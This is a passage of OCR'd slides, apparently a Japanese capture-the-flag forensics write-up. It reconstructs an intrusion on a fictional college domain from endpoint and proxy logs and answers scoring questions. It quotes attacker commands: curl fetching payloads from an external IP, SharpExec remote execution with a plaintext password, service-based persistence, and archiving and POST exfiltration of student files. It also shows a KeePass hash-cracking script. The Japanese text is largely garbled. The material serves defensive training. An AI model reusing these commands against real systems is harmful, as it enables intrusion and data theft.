ombined: ®{d, B, §, A, h,k, Y, ,, ?, )}enilsElegant!




CVE-2023-32784

PoCOHE hZEHEIZ, AIEEED ®HH/NAT—F—E 7% H 71 (9501E)

[EY

1
2
3
4
5
6
%
3
9
%)

import string

wordsl = string.printable[:-5]
words2 = 'dB$AhkY,?)'
last = 'enIsElegant!’

for wl in wordsl:
for w2 in words2:
print(wl + w2 + last)



CVE-2023-32784

# R LT=1&#E &Y John the RipperZ > TYRAA—/\RAT—FZHE

[j—(useréékali)—[ ]
® —$ john --wordlist=candidate.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 60000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [@=AES 1=TwoFish 2=ChaCha]) is @ for all loaded hashes

Will run 2 OpenMP threads

Press 'q' or Ctrl-C to abort, almost any other key for status

EdenIsElegant! (Database)

1g 0:00:00:10 DONE (2023-10-05 17:25) ©0.09328g/s 38.05p/s 38.05c/s 38.05C/s EdenIsElegant!..E,enIsElegant!
Use the "--show" option to display all of the cracked passwords reliably

Session completed.




4 Discovery (1pt)

WS01TlXActive DirectoryZ &9 5 V—ILMEITSN TS, Y—IL %
WS01IZ#2 o> B—KRLIzBROURLEZE Z Ko




4 Discovery (1pt)

ws01.logM5DCOIADBIED BT ZHH T &, PowerShellh o8 £1[EIDCO1
~NDBEENEELTWNSZENTMS (Port389(LLDAP)

cat ws@l.log | grep "172.16.2.101"

16/05/2023 17:29:43.652 +0900 loc=en-US type=ITM2 sn=29634 lv=5 rs=12 trs=953 evt=net subEvt=dcon os=Win
com="WS@1" domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=e4560ff2-c679-454f-b07e-99344c4888ef
csid=S-1-5-21-161232702-120963121-2455692666 ip=172.16.1.101,fe80::18ec:472b:67df:ca64 mac=06:9e:69:eb:93:c3
rcCom="SWAN" rcIP=172.16.4.18 usr="Swan" usrDomain="EDEN-COLLEGE" sessionID=2 psGUID=
{F64728E7-93608-4E32-AA73-486D53615715} psPath="C:\Windows\System32\WindowsPowerShell\v1l.®8\powershell.exe"
srcIP=172.16.1.101 srcPort=50063 dstHost="dc@l.eden-college.local” dstIP=172.16.2.101 dstPort=389 recv=6325

send=2564




4 Discovery (1pt)

ZMDPowerShellD LB % psGUID TgrepL TES

cat ws@l.log | grep "F64728E7-9360-4E32-AA73-486D53615715"

S— —

Z D PowerShelllZinstall.ps1Z2E1TLTHEY. E1TIIEHavocDexe

10/05/2023 17:29:41.371 +0900 loc=en-US type=ITM2 sn=29557 lv=5 rs=12 trs=869 evt=ps subEvt=start os=Win
com="WS@1" domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=e4560ff2-c679-454f-b87e-99344c4888ef
csid=S-1-5-21-161232702-120963121-2455692666 ip=172.16.1.101,fe80::18ec:472b:67df:cab64 mac=06:9e:69:eb:93:c3

rcCom="SWAN" rcIP=172.16.4.18 usr="Swan" usrDomain="EDEN-COLLEGE" sessionID=2 psGUID=
{F64728E7-9360-4E32-AA73-486D53615715} psPath="C:\Windows\System32\WindowsPowerShell\vl.@\powershell.exe" cmd="./
install.psl" psID=1188 parentGUID={A7081BC5-BF6E-41C8-8129-D8AC69268BDC} parentPath="c:\users\public\notepad.exe"
psUser="Swan" psDomain="EDEN-COLLEGE" arc=x64




4 Discovery (1pt)

ZMDPowerShellD LB % psGUID TgrepL TES

cat ws@l.log | grep "F64728E7-9360-4E32-AA73-486D53615715"

ADReconELNSERIZEAEI7AILDERKEBIToTLNS

10/085/2023 17:29:49.449 +0900 loc=en-US type=ITM2 sn=29701 lv=5 rs=12 trs=953 evt=file subEvt=close os=Win
com="WSO1" domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=e4560ff2-c679-454f-b07e-99344c4888ef
csid=S-1-5-21-161232702-120963121-2455692666 ip=172.16.1.101,fe80::18ec:472b:67df:cab4 mac=06:9e:69:eb:93:c3
rcCom="SWAN" rcIP=172.16.4.18 usr="Swan" usrDomain="EDEN-COLLEGE" sessionID=2 psGUID=

{F64728E7-9360-4E32-AA73-486D53615715} psPath="C:\Windows\System32\WindowsPowerShell\vl.®8\powershell.exe"
path="C:\Users\Swan\ADRecon-Report-28231005172943\CSV-Files\AboutADRecon.csv" drvType=HDD read=2 write=238
sha256=21afa5239781620931b31902db6dfe@f65a3a506e4580ec1769df85b2476d336 sTime="18/05/2023 17:29:49.433"
crTime="10/05/2023 17:29:49.433" acTime="10/85/2023 17:29:49.449" moTime="10/05/2023 17:29:49.449" size=238 new=1




4 Discovery (1pt)

install.ps1l&Havoch beurllZ&>THA > O—KLTLYS

'install.ps1”

cat wso@l.log | grep

10/05/2023 17:28:24.783 +0900 loc=en-US type=ITM2 sn=29475 lv=5 rs=12 trs=809 evt=ps subEvt=start os=Win
com="WS@1" domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=e4560ff2-c679-454f-b087e-99344c4888ef
csid=S-1-5-21-161232702-120963121-2455692666 ip=172.16.1.101,fe80::18ec:472b:67df:cab4 mac=06:9e:69:eb:93:c3
rcCom="SWAN" rcIP=172.16.4.18 usr="Swan" usrDomain="EDEN-COLLEGE" sessionID=2 psGUID=
{EA2E3B8E-BFB5-4F4D-B736-99A1DB3CO2F4} psPath="C:\Windows\system32\cmd.exe" cmd="curl -o install.psl http://3.114.
83.243:8000/jquery.mobile.min.css" psID=4660 parentGUID={A7081BC5-BF6E-41C8-8129-D8AC69268BDC}
parentPath="c:\users\public\notepad.exe" psUser="Swan" psDomain="EDEN-COLLEGE" arc=x64




4 Discovery (1pt)

TAARDIZEEZAEN=install.ps1D /vy a{EZVirusTotal TR BT 5 &
ADReconTHA I EMN M D

10/085/2023 17:28:24.861 +8900 loc=en-US type=ITM2 sn=29480 lv=5 rs=12 trs=833 evt=file subEvt=close os=Win
com="WS@1" domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=e4560ff2-c679-454f-b07e-99344c4888ef
csid=S-1-5-21-161232702-120963121-2455692666 ip=172.16.1.101,fe80::18ec:472b:67df:cab4 mac=06:9e:69:eb:93:c3
rcCom="SWAN" rcIP=172.16.4.18 usr="Swan" usrDomain="EDEN-COLLEGE" sessionID=2 psGUID=

{F32E8CDD-1DBF-4AEE-8D01-180C2F922567} psPath="C:\Windows\system32\curl.exe" path="C:\Users\Swan\install.ps1"
drvType=HDD read=2 write=593300 sha256=5cb950d97dbebfb3f5f8a7833515b34fa980f6d3fb3114cf9282367d5f7fb745 sTime="
2023 17:28:24.861" moTime="10/085/2023

5cb950d97db0bfb3f5f8a7833515b34fa980f6d3fb3114cf9282367d5f7fb745

@ 16 security vendors and 1 sandbox flagged this file as malicious

L

5cb950d97dbObfb3f5f8a7833515b34fa980f6d3fb3114cf9282367d5f7fb745

ADRecon.ps1
powershell long-sleeps calls-wmi detect-debug-environment 5 l A:
https://www.virustotal.com/gui/file/5cb950d97db0bfb3
] f5f8a7833515b34fa980f6d3fb3114cf9282367d5f7fb7
Community Score 45/details

60

AN T IVIALVVANLC CINOINCCNNING VVWUNNOINIUr £2uso



4 Discovery (1pt)

Active DirectoryZiH&E 9 %'Y—JL (ADRecon) ZWS01I=Z4 > O—KL1=[FED
URLIE. Z&£IEFE Deurl TIEESIN TLV-URL

A.
http://3.114.83.243:8000/jquery.mobile.min.css




ADRecon: Active Directory Recon xreewgsrecen

This repo contains updates to the original concept and code by Prashant Mahajan (@prashant3535) while working
at Sense of Security.

ADRecon is a tool which extracts and combines various artefacts (as highlighted below) out of an AD environment.
The information can be presented in a specially formatted Microsoft Excel report that includes summary views with
metrics to facilitate analysis and provide a holistic picture of the current state of the target AD environment.



https://github.com/adrecon/ADRecon

ADRecon

ADIZZ ML TL\ SRR D IE R

Bl ADRecon-Report-20231005172943\CSV-Files\Computers.csv
1 "UserName", "Name", "DNSHostName", "Enabled", "IPv4Address", "Operati
"DCO1%$","DCO1","DCOLl.eden-college.local","True","172.16.2.101","
"WSQ1$","WSQ1","WS@1.eden-college.local","True","fe80::18ec:472b:

"WS02%$", "WS02","WS02.eden-college.local","True","172.16.1.102","
"WS03%","WS03","WS@3.eden-college.local","True","172.16.1.103","
"FILEQ1$","FILE@1","FILEQl.eden-college.local",6 "True","172.16.2.




ADRecon

ADEDST IL—T &, FIIZSmMLTWA1I—H—

B ADRecon-Report-20231005172943\CSV-Files\GroupMembers.csv

24
25
26
200

"Denied
"Denied
"Domain
"Domain

"Domain
"Domain
"Domain
"Domain
"Domain

RODC Password Replication Group","-","G
RODC Password Replication Group","-","R
Users", "henderson", "Henry Henderson","S
Admins", "henderson", "Henry Henderson",k"
Users", "swan", "Murdoch Swan",6"S-1-5-21-
Users",6"evans",6 "Walter Evans",6"S-1-5-21
Computers", "WSQ1$", "WS@Q1","S-1-5-21-254
Computers", "WS@2%$", "WS@02","S-1-5-21-254
Computers", "WS@3$", "WS@3","S-1-5-21-254




5.1 Lateral Movement (1pt)

KEANWSOINoDIERFAZITI-O. SN Y—IILEF HO—FLES

L7=
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5.1 Lateral Movement (1pt)

ws01.logh bHavocE DAY U FERTEEDE ALAICHERERRL TLNVE57%D
TURNRDOMND

cat ws@l.log | grep "A7081BC5-BF6E-41C8-8129-D8AC69268BDC" | grep "cmd="

10/05/2023 17:39:07.996 +0900 loc=en-US type=ITM2 sn=29783 lv=5 rs=12 trs=1061 evt=ps subEvt=start os=Win
com="WSO1" domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=e4560ff2-c679-454f-bB7e-99344c4888ef
csid=S-1-5-21-161232702-120963121-2455692666 ip=172.16.1.101,fe80::18ec:472b:67df:cab64 mac=06:9e:69:eb:93:c3
rcCom="SWAN" rcIP=172.16.4.18 usr="Swan" usrDomain="EDEN-COLLEGE" sessionID=2 psGUID=
{155D7068-765A-411C-B63C-FF8F7ECOB8D2} psPath="c:\windows\system32\cmd.exe" cmd="dllhost.exe -m=wmi -i=172.16.2.
101 -d=eden-college.local -u=Henderson -p=cE)FJArR$QL(E72 -f=C:\Users\Public\notepad.exe
-e=C:\Users\Public\notepad.exe" psID=3108 parentGUID={A7081BC5-BF6E-41C8-8129-D8AC69268BDC}
parentPath="c:\users\public\notepad.exe" psUser="Swan" psDomain="EDEN-COLLEGE" arc=x64




5.1 Lateral Movement (1pt)

ZDexeDEHOY EH 5 E. producth bSharpExectHEFE TES

cat ws@l.log | grep dllhost.exe

18/©5/2023 17:39:08.027 +0900 loc=en-US type=ITM2 sn=29784 lv=6 rs=13 trs=1086 rf=C16:C8:L8:R8 evt=ps
subEvt=start os=Win com="WS@1" domain="EDEN-COLLEGE" profile="MWSCup_server"
tmid=e4560ff2-c679-454F-b07e-99344c4888ef csid=S-1-5-21-161232702-120963121-2455692666 ip=172.16.1.101,
fe80::18ec:472b:67df:cab4 mac=06:9e:69:eb:93:c3 rcCom="SWAN" rcIP=172.16.4.18 usr="Swan" usrDomain="EDEN-COLLEGE"
sessionID=2 psGUID={498F47CE-8351-4F57-AB94-351E6151B012} psPath="C:\Users\Swan\dllhost.exe" cmd="-m=wmi -i=172.
16.2.101 -d=eden-college.local -u=Henderson -p=cE)FJArR$QL(E72 -f=C:\Users\Public\notepad.exe
-e=C:\Users\Public\notepad.exe" psID=4936 parentGUID={155D7068-765A-411C-B63C-FF8F7ECOB8D2}

parentPath="c:\windows\system32\cmd.exe" psUser="Swan" psDomain="EDEN-COLLEGE" arc=x64
sha256=c07366813c2c636d9cced4a5b666a71ea77081a3b811997d4f1a8260Ff8766ea55
shal=6cdae2ad66a5a1853cdf95027adb9296F6120af0 md5=39b81a20e8f50108ab314c318b8268aa copyright="Copyright © 2019"
fileDesc="SharpExec" fileVer="1.0.0.8" product="SharpExec" productVer="1.0.0.0" crTime="10/05/2023 17:38:35.215"
acTime="10/05/2023 17:38:35.230" moTime="10/05/2023 17:38:35.230" size=30208 sig=None



5.1 Lateral Movement (1pt)

ZMexeNEIEZEES L. DCO1IZnotepad.exe(HavocDexe)EaE—L TS

10/05/2023 17:39:08.262 +0900 loc=en-US type=ITM2 sn=29789 lv=5 rs=14 trs=1087 rf=C16:C8:L8:R8:C3:L3:R3 evt=file
subEvt=copy os=Win com="WS@1" domain="EDEN-COLLEGE" profile="MWSCup_server"
tmid=e4560ff2-c679-454F-b07e-99344c4888ef csid=S-1-5-21-161232702-120963121-2455692666 ip=172.16.1.101,
fe80::18ec:472b:67df:cab4 mac=06:9e:69:eb:93:c3 rcCom="SWAN" rcIP=172.16.4.18 usr="Swan" usrDomain="EDEN-COLLEGE"

sessionID=2 psGUID={498F47CE-8351-4F57-AB94-351E6151B012} psPath="C:\Users\Swan\dllhost.exe"
path="C:\Users\Public\notepad.exe" drvType=HDD dstPath="\\172.16.2.101\C$\Users\Public\notepad.exe"
dstMntF1ld="\\172.16.2.101\C$" dstDrv=Net sha256=48319c1e@f6148c69bc7f6f45c9b0692abb9227578f0e5890e844b19fb70216a
shal=14eca®38adb4c913c09301564eda2lcae89e27e6 md5=71c2ca®8e469ccdcO7f@ac8960e35a0d crTime="10/05/2023 17:39:08.
246" acTime="10/05/2023 17:39:08.261" moTime="10/05/2023 17:09:01.947" size=95744




5.1 Lateral Movement (1pt)

dc01.logTZNEZRDOT iR T 5L, ERIZnotepad.exeHAWS01 M Hwmi
ZEHRTEELE-75—rAThE->TEY., FEMIZSharpExeclZk> TR
ni=&nhsd,

16/05/2023 17:39:11.516 +0900 loc=en-US type=ITM2 sn=255822 lv=5 alert=1600 alertClass=risk evt=wmi
subEvt=psCreate os=Win com="DC@1" domain="EDEN-COLLEGE" profile="MWSCup_server"

tmid=f02ccal4-4aae-402b-a8d9-2a2873957095 csid=S-1-5-21-1720067203-2924128797-2708492278 ip=172.16.2.101,

fe80::74c9:7795:ebll:ce@ mac=06:00:F2:4b:34:cd sessionID=0 psGUID={864B7B6A-459B-4597-B925-DD3C1515B1F8}
psPath="C:\Users\Public\notepad.exe" cmd="C:\Users\Public\notepad.exe " psID=5304 remote=1 cliCom="WS@1"
psUser="henderson" psDomain="EDEN-COLLEGE" cliPsTime="10/05/2023 17:39:08.048" cliPsID=4936

A. SharpExec



SharpExec ¢

Description

SharpExec is an offensive security C# tool designed to aid with lateral movement.
It currently includes:

-WMiIExec - Semi-Interactive shell that runs as the user. Best described as a less mature version of Impacket's
wmiexec.py tool.

-SMBExec - Semi-Interactive shell that runs as NT Authority\System. Best described as a less mature version of
Impacket's smbexec.py tool.

-PSExec (like functionality) - Gives the operator the ability to execute remote commands as NT Authority\System or
upload a file and execute it with or without arguments as NT Authority\System.

-WMI - Gives the operator the ability to execute remote commands as the user or upload a file and execute it with
or without arguments as the user.



https://github.com/anthemtotheego/SharpExec

5.2 Lateral Movement (1pt)

5A10Y—ILZEFBALTCHEERZ T -FICFRALE-A—T R ENRT—FEE
AKo

T4 —3vbh: A—HZ(ETNXF) /INRT—F

f22451: john_hoge123!




5.2 Lateral Movement (1pt)

SharpExeci2#FF DAY REIHERNIE N5,

10/05/2023 17:39:07.996 +0900 loc=en-US type=ITM2 sn=29783 lv=5 rs=12 trs=1061 evt=ps subEvt=start os=Win
com="WSO1" domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=e4560ff2-c679-454f-b07e-99344c4888ef
csid=S-1-5-21-161232702-120963121-2455692666 ip=172.16.1.101,fe80::18ec:472b:67df:ca64 mac=06:9e:69:eb:93:c3
rcCom="SWAN" rcIP=172.16.4.18 usr="Swan" usrDomain="EDEN-COLLEGE" sessionID=2 psGUID=

{155D7068-765A-411C-B63C-FF8F7ECOB8D2} psPath="c:\windows\system32\cmd.exe" cmd="dllhost.exe -m=wmi -i=172.16.2.
101 -d=eden-college.local -u=Henderson -p=cE)FJArR$QL(E72 -f=C:\Users\Public\notepad.exe
-e=C:\Users\Public\notepad.exe" psID=3108 parentGUID={A7081BC5-BF6E-41C8-8129-D8AC69268BDC}
parentPath="c:\users\public\notepad.exe" psUser="Swan" psDomain="EDEN-COLLEGE" arc=x64

A. henderson cE)FJArR$SQL (E72




5.3 Lateral Movement (1pt)

510V — )L THRAICERRAZIT oA TYILVI7HAEELI-FHLZEAL
74—V YYYY/MM/DD_hh:mm:ss’
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5.3 Lateral Movement (1pt)

& #)|ZSharpExec CIE BB Z 1T o= Ddc01 THFREEFFZI (. dcO1.logTD
notepad.exeDFTENAY KU M5

10/05/2023 17:39:11.516 +0900 loc=en-US type=ITM2 sn=255822 lv=5 alert=1600 alertClass=risk evt=wmi
subEvt=psCreate os=Win com="DC@1" domain="EDEN-COLLEGE" profile="MWSCup_server"
tmid=f@2ccald-4aae-402b-a8d9-2a2873957095 csid=S-1-5-21-1720067203-2924128797-2708492278 ip=172.16.2.101,

fe80::74c9:7795:ebll:ce@ mac=06:00:f2:4b:34:cd sessionID=0 psGUID={864B7B6A-459B-4597-B925-DD3C1515B1F8}
psPath="C:\Users\Public\notepad.exe" cmd="C:\Users\Public\notepad.exe " psID=5304 remote=1 cliCom="WSO1"
psUser="henderson" psDomain="EDEN-COLLEGE" cliPsTime="10/05/2023 17:39:08.040" cliPsID=4936

A.2023/10/05 17:39:11



5.4 Lateral Movement (1pt)

510DV — Lz ALTWSOI M olaREAZIT R EZHIETEA L,

iz Z45:10




5.4 Lateral Movement (1pt)

grep CWS01 TSharpExecz 2 EIL =B Z AL 215,
DCO1& K UFILEOT IZHEEREIToTLNS

cat ws@l.log | grep "subEvt=start" | grep SharpExec

10/05/2023 17:39:08.027 +0900 loc=en-US type=ITM2 sn=2978U4 lv=6 rs=13 trs=1086 rf=C16:C8:L8:R8 evt=ps subEvt=start os=Win com="WSO1"
domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=eUd560ff2-c679-U5Uf-b07e-993UUcU888ef csid=S-1-5-21-161232702-120963121-2455692666
ip=172.16.1.101,fe80: :18ec:472b:67df:cabld mac=06:9e:69:eb:93:c3 rcCom="SWAN" rcIP=172.16.4.18 usr="Swan" usrDomain="EDEN-COLLEGE" ses
sionID=2 psGUID={498FUTCE-8351-U4F57-AB94-351E6151B012} psPath="C:\Users\Swan\dllhost.exe" cmd="-m=wmi -i=172.16.2.101 -d=eden-college
.local -u=Henderson —-p=cE)FJArR$QL(E72 -f=C:\Users\Public\notepad.exe -e=C:\Users\Public\notepad.exe" psID=4936 parentGUID={155D7068-
765A-411C-B63C-FF8F7ECOB8D2} parentPath="c:\windows\system32\cmd.exe" psUser="Swan" psDomain="EDEN-COLLEGE" arc=x64 sha256=c07366813c
2c636d9ccelabb666a71lea77081a3b811997dUf1a8260f8766ea55 shal=6cdae2ad66a5a1853cdf95027adb9296¥6120af0 md5=39b81a20e8f50108ab314c318b82
68aa copyright="Copyright ® 2019" fileDesc="SharpExec" fileVer="1.0.0.0" product="SharpExec" productVer="1.0.0.0" crTime="10/05/2023
17:38:35.215" acTime="10/05/2023 17:38:35.230" moTime="10/05/2023 17:38:35.230" size=30208 sig=None
10/05/2023 17:41:25.928 +0900 loc=en-US type=ITM2 sn=29800 lv=6 rs=13 trs=1124 rf=C16:C8:L8:R8 evt=ps subEvt=start os=Win com="WSO1"
domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=eUd560ff2-c679-U45Uf-b07e-993UUcU888ef csid=S-1-5-21-161232702-120963121-2455692666
ip=172.16.1.101,fe80: :18ec:472b:67df:cabld mac=06:9e:69:eb:93:c3 rcCom="SWAN" rcIP=172.16.4.18 usr="Swan" usrDomain="EDEN-COLLEGE" ses
sionID=2 psGUID={0A5570A9-86CE-4D90-ADA5-BE3745FD86C6} psPath="C:\Users\Swan\dllhost.exe" cmd="-m=wmi -i=172.16.2.102 -d=eden-college
.local -u=Henderson -p=cE)FJArR$QL(E72 -f=C:\Users\Public\notepad.exe -e=C:\Users\Public\notepad.exe" psID=U4792 parentGUID={A7C26DCA-
3DE6-U402F-BO5A-8A6BIC1U3520} parentPath="c:\windows\system32\cmd.exe" psUser="Swan" psDomain="EDEN-COLLEGE" arc=x64 sha256=c07366813c
2c636d9ccelabb666a71lea77081a3b811997dUf1a8260f8766ea55 shal=6cdae2ad66a5a1853cdf95027adb9296¥6120af0 md5=39b81a20e8f50108ab314c318b82
68aa copyright="Copyright ©@ 2019" fileDesc="SharpExec" fileVer="1.0.0.0" product="SharpExec" productVer="1.0.0.0" crTime="10/05/2023
17:38:35.215" acTime="10/05/2023 17:38:35.230" moTime="10/05/2023 17:38:35.230" size=30208 sig=None




6 Persistence (2pt)

SOOKMET. KEE(IHDiHKRLE TKEILETOTL =,
KiGEFITo-mEKRB B LU, FIALI-TI=VIEE AL,

T =v7IIMITRE ATT&CK®DPersistence® TechniquesD F M SIDTEZ K.
https://attack.mitre.org/tactics/TAO0O03/

J+—<whk: ik 4% _ TechniqueslD case insensitive
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WS01_T1098.004




6 Persistence (2pt)

MEMEDICO TOARVRETEBSE. exet Ao A—RLTH—EREL
TEHETHIOUNRAD

cat dcol.log | grep notepad.exe | grep "cmd="

10/085/2023 17:40:04.856 +0900 loc=en-US type=ITM2 sn=255828 lv=5 rs=1 trs=2 evt=ps subEvt=start os=Win com="DCe1"
domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=f02ccal4-4aae-402b-a8d9-2a2873957095
csid=S-1-5-21-1720067203-2924128797-2708492278 ip=172.16.2.101,fe80::74c9:7795:ebll:ce® mac=06:00:f2:4b:34:cd
sessionID=0 psGUID={B9A78D24-2B5B-4F2A-9604-154B629DE5F2} psPath="c:\windows\system32\cmd.exe" cmd="curl -o
C:\Windows\Tasks\svchost.exe http://3.114.83.243:8000/1ist.min.js" psID=4364 parentGUID=
{864B7B6A-459B-4597-B925-DD3C1515B1F8} parentPath="C:\Users\Public\notepad.exe" psUser="henderson"

10/05/2023 17:40:21.883 +0900 loc=en-US type=ITM2 sn=255840 lv=5 rs=1 trs=5 evt=ps subEvt=start os=Win com="DCe@1"
domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=f02ccal4-4aae-402b-a8d9-2a2873957895
csid=S-1-5-21-1720067203-2924128797-2708492278 ip=172.16.2.101,fe80::74c9:7795:ebll:ce® mac=06:080:f2:4b:34:cd
sessionID=0 psGUID={C44E5236-D11A-43E4-B7F2-682F38DABGASA} psPath="c:\windows\system32\cmd.exe" cmd="sc create
UpdateService binpath= C:\Windows\Tasks\svchost.exe start=auto obj=LocalSystem" psID=2672 parentGUID=
{864B7B6A-459B-4597-B925-DD3C1515B1F8} parentPath="C:\Users\Public\notepad.exe" psUser="henderson"




Create or Modify System Process: Windows

Service

Other sub-techniques of Create or Modify System Process v

(4)

Adversaries may create or modify Windows services to repeatedly execute
malicious payloads as part of persistence. When Windows boots up, it starts

programs or applications called services that perform background system

functions.['! Windows service configuration information, including the file path to

the service's executable or recovery programs/commands, is stored in the

Windows Registry.

ID: T1543.003
Sub-technique of: T1543

(® Tactics: Persistence, Privilege
Escalation

® Platforms: Windows

(M Effective
Permissions: Administrator,
SYSTEM




[ Exfiltration (3pt)
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[ Exfiltration (3pt)

FILEO1TMDHavocD AT REITEESE. 2DDATURMERRITES

cat dcol.log | grep notepad.exe | grep "cmd="

LEEF AN kdbx, pdf, docx, xXIsxB 77/ ILDIEE

10/05/2023 17:42:19.462 +0900 loc=en-US type=ITM2 sn=3430 lv=5 rs=1 trs=2 evt=ps subEvt=start os=Win com="FILE@1"
domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=cff731d9-2429-43d8-b877-66bfal7b1523
csid=S-1-5-21-3181073020-1939536295-3044516940 ip=172.16.2.102,fe80: :9fb4:c717:bded:cace mac=06:b0:1d:5f:41:dd

sessionID=0 psGUID={ED2876D6-1335-4EA1-9EF3-FC6A2C77FD82} psPath="c:\windows\system32\cmd.exe" cmd="dir /S /B *.
kdbx == *.pdf == *.docx == .x1lsx" psID=3468 parentGUID={8EE92132-E296-4234-B639-B162692FADF9}
parentPath="C:\Users\Public\notepad.exe" psUser="henderson” psDomain="EDEN-COLLEGE" arc=x64




[ Exfiltration (3pt)

FILEO1TMDHavocD AT REITEESE. 2DDATURMERRITES

cat dcol.log | grep notepad.exe | grep "cmd="

HhEEF A exam, school_docs, studentZ+ L3 —D [EHE

10/05/2023 17:44:28.475 +0900 loc=en-US type=ITM2 sn=3434 lv=5 rs=1 trs=4 evt=ps subEvt=start os=Win com="FILE®@1l
domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=cff731d9-2429-43d8-b877-66bfal7b1523
csid=S-1-5-21-31810730206-1939536295-3044516940 ip=172.16.2.102,fe80::9fb4:c717:bde4:cace mac=06:b0:1d:5f:41:dd
sessionID=0 psGUID={F58D2F56-8FEA-46EF-9EA6-AEE4307076FD} psPath="C:\Windows\System32\WindowsPowerShell\v1l.

@\powershell.exe" cmd="Compress-Archive -Path .\exam , .\school docs , .\student -DestinationPath file.zip"
psID=5928 parentGUID={8EE92132-E296-4234-B639-B162692FADF9} parentPath="C:\Users\Public\notepad.exe™




[ Exfiltration (3pt)

D EFDPowershellDpsGUIDM 77 A INERIED AN R EHEHL T,
WST7/ LD K S,

cat file@l.log | grep F58D2F56-8FEA-46EF-9EA6-AEE4307076FD | grep
"evt=file" | cut -d '=' -f 21 | cut -d ' ' -f1

“Ci\file.zip"
"C:\exam\exam_results_lst_grade_class3.xLlsx"
"C:\exam\regular_exam.docx"

nC:\Ffile.zip"
"C:\school_docs\Contact_persons_list.xlsx"
"C:\school_docs\eden-college_security_plan.docx"
"C:\school_docs\school_officers_list.xlsx"
Me:\file.zip"
"C:\student\Imperial_scholar_parents_list.docx"
"C:\student\student_transcript.docx"

MeeNfile zip"




[ Exfiltration (3pt)

EREht=file.ziplZ RIRHIIZHavocDexe Nim A A A TLVS

cat file@l.log | grep file.zip

10/05/2023 17:48:26.605 +0900 loc=en-US type=ITM2 sn=3517 lv=6 rs=1 trs=5 rf=C16:C8:L8:R8 evt=file subEvt=close
os=Win com="FILE@1" domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=cff731d9-2429-43d8-b877-66bfal7b1523
csid=S-1-5-21-3181073020-1939536295-3044516940 ip=172.16.2.102,fe80::9fb4:c717:bded:cace mac=06:b0:1d:5f:41:dd
sessionID=0 psGUID={8EE92132-E296-4234-B639-B162692FADF9} psPath="C:\Users\Public\notepad.exe" path="C:\file.zip"

drvType=HDD read=79034210 write=0 sha256=7dc9e35cb44e421f67f118e82133349057¢c312c4349a32a290d9b45b9083c57bb sTime="10
©5/2023 17:45:44.670" crTime="10/05/2023 17:44:33.970" acTime="10/05/2023 17:44:44.509" moTime="10/085/2023 17:44:44
509" size=79034210 new=0




[ Exfiltration (3pt)

CDfE, C2H—N—LDBEH A XHERLTIND, EDT=8. file.zipxC2#EHT
FbHL-EHETES

cat Proxy.log | grep 172.16.2.102 | grep 17:48

172.16.2.102 - - [05/0ct/2023:17:48:24 +0900] "POST http://3.114.83.243/ HTTP/1.1
" 200 524608 370 "-" "Mozilla/5.0 (Windows NT 6.1; WOwéed) AppleWebKit/537.36 (KHT
ML, like Gecko) Chrome/96.0.4664.110 Safari/537.36" TCP_MISS:ORIGINAL_DST
172.16.2.102 - - [05/0ct/2023:17:48:25 +0900] "POST http://3.114.83.243/ HTTP/1.1
" 200 524608 370 "-" "Mozilla/5.0 (Windows NT 6.1; wWoOwéed) AppleWebKit/537.36 (KHT
ML, like Gecko) Chrome/96.0.4664.110 Safari/537.36" TCP_MISS:ORIGINAL_DST
172.16.2.102 - - [05/0ct/2023:17:48:26 +0900] "POST http://3.114.83.243/ HTTP/1.1
" 200 524608 370 "-" "Mozilla/5.0 (Windows NT 6.1; wWOwed) AppleWebKit/537.36 (KHT
ML, like Gecko) Chrome/96.0.4664.110 Safari/537.36" TCP_MISS:ORIGINAL_DST
172.16.2.102 - - [05/0ct/2023:17:48:27 +0900] "POST http://3.114.83.2u43/ HTTP/1.1
" 200 391358 370 "-" "Mozilla/5.0 (Windows NT 6.1; WOwWed) AppleWebKit/537.36 (KHT
ML, like Gecko) Chrome/96.0.4664.110 Safari/537.36" TCP_MISS:ORIGINAL_DST
172.16.2.102 - - [05/0ct/2023:17:48:28 +0900] "POST http://3.114.83.243/ HTTP/1.1
" 200 288 370 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/96.0.4664.110 Safari/537.36" TCP_MISS:ORIGINAL_DST




[ Exfiltration (3pt)

FEE

L5 F DY kdbx, pdf, docx, XIsxIZE%ZH T R I7AIEEL. TDIF7AIVEE AT+ ILE —%ipT
T:IE:%%LA 7)[/'71%7 (notepad.exe).éEEl'G%*fBH:'.LT: 0 = '

BHHSNn=774ILIZLLT

- exam_results_1st grade class3.xIsx
- regular_exam.docx

- Contact_persons_ list.xlsx

- eden-college_security plan.docx

- school_officers_list.xIsx

- Imperial_scholar_parents_list.docx

- student_transcript.docx




8.1 Incident Response (1pt)

BEECLS>TREINI VAT LEUTALT NTRRL, TNESEIIEE
£ BB BESNEVRT ANEELANS S (E, "B ERHT 5L

1 WS01
WS02
WS03
DCO1
FILEO1

o & ODN




8.1 Incident Response (1pt)

EEINVRT LI, RPICEEELIZWS015 LU SharpExec T EEIL =%
MDDCO1E KUVFILEO1

A.1,3,5




8.2 Incident Response (2pt)

WEBHICLDITHTHERNIZLDZINTERL. TOESZEINFEE L. T
B. FELGVWGEFI"EL " EEHT AL

INYIRTDEHRE

0J DOH| kR

REFBEROFLHL

. BIRRANDEEIRVEH
 F—Oh—DHRE

VY LTI EBiHRDES
LTV RILEDT

N~ o a0~ W N -




8.2 Incident Response (2pt)

1. NIRRT DEEHRE

— 6. PersistenceMBY/\ VIR F7EHRELTLVS
3.HEFIFHRODFHHL

— 7. ExfiltrationD@Y 77/ ILDFEHLZITOTLS
